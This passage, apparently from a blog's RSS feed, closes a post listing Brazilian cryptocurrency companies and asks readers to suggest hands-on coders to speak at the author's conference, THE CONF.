<li><a href="https://blinktrade.com/"target="_blank" rel="noopener">BlinkTrade</a> - looks like an exchange infrastructure (I think Foxbit and others might use it, though I haven&rsquo;t confirmed) and was founded by Brazilians</li>
<li><a href="http://www.stone.com.br/"target="_blank" rel="noopener">Stone Pagamentos</a> - <a href="https://twitter.com/BernardoDCGA/status/901793619635515398"target="_blank" rel="noopener">said</a> they&rsquo;re helping companies accept payments in cryptocurrencies.</li>
</ul>
<p>I want to hear about more Brazilian companies and professionals in the bitcoin and cryptocurrency ecosystem in general. I&rsquo;m especially looking for speakers who know the subject and are doing hands-on coding, to speak (in English) at the conference I&rsquo;m organizing, <a href="http://web.archive.org/web/20170911201232/http://www.theconf.club/"target="_blank" rel="noopener">THE CONF</a>. If you know of anyone, send them in the comments section.</p>
<p>I did think about writing about blockchain or cryptocurrencies, since I&rsquo;ve been studying and investing quite a bit. But everything you need to know is already accessible in countless blogs and sites, in English and in Portuguese, and there&rsquo;s no point in explaining it all again.</p>
<p>What interests me is knowing where people&rsquo;s biggest questions are on the subject, so I can try to dig into some specific aspect. Comment about that too.</p>
]]></content:encoded><category>bitcoin-and-cryptocurrency</category><category>business</category><category>off-topic</category></item></channel></rss>